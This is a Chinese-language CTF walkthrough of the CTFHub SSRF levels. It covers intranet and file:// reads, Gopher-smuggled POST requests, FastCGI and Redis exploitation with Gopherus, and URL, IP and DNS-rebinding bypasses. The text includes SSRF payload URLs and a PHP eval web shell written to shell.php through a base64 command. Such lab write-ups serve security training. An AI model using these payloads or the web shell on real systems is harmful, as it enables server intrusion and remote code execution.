进入技能书,找到WEB-SSRF
1.内网访问
我们是从目标主机内网环境访问它本地的flag.php,我们构建url
/?url=http://127.0.0.1/flag.php
2.伪协议读取文件
题目已经说了是伪协议读取文件,那我们就试试
/?url=file:///var/www/html/flag.php
查看页面源代码
3.端口扫描
既然已经提示了端口,那我们用bp来爆破一下
先设置url,将端口设为变量
发往攻击器进行攻击
4.POST请求
我们去访问127.0.0.1/flag.php,得到了一个输入框,查看源代码
把key的值填入输入框
回显我们只有127.0.0.1才能访问,那我们就抓个包修改请求头
将内容编码
将其中的 %0A 替换成 %0d%0A 并且末尾要加上 %0d%0
再次进行URL编码并使用Gopher进行攻击访问,获取Flag
5.上传文件
我们先查看flag.php
我们新建一个flag.php,内容随意,这里我们写一句话木马
这里我们发现没有提交按钮,那我们就写一个提交按钮
<input type="submit" name="submit">
我们重新提交抓包看看
与上关的步骤一样
6.FastCGI协议
准备一句话木马并构造要执行的终端命令:对一句话木马进行base64编码且写入到名为
shell.php的文件中。
# 一句话木马
<?php @eval($_POST[cmd]);?>
# base64编码后
echo "PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pOz8+"|base64 -d > shell.php
这时我们的桌面上就出现了shell.php
使用Gopherus工具生成payload
# 项目地址
https://github.com/tarunkant/Gopherus.git
# 执行命令
python2 gopherus.py --exploit fastcgi
将生成的payload再进行第二次编码即可.访问上传..
访问shell.php
没有报错,说明存在,因为php为后端代码,所以前端看不到,我们用中国蚁键去连接
在var下有一个flag文件,打开即可看到flag
7.Redis协议
这关与上关基本一样,只是命令变成了redis
python2 gopherus.py --exploit redis
把给我们的东西进行二次编码
然后去访问
这里我们看到他一直在缓存,我们不等他,直接访问shell.php
这里我们就可以用蚁键去连接了
8.URL Bypass
这里我们看到他要求在url中必须包含http://notfound.ctfhub.com,那么我们可以加一个@,让这个网址变成用户,去访问我们的127.0.0.1/flag.php
9.数字IP Bypass
我们可以看到他的意思是不让我们用127及172,那我们就不写IP地址,直接写本机localhost
9.302跳转 Bypass
这关我们可以看到他是拦了我们的IP地址,那我们依然采用localhost来绕过
10.DNS重绑定 Bypass
我们点开题目附件,详细了解一下DNS重绑定,然后我们利用网站进行重绑定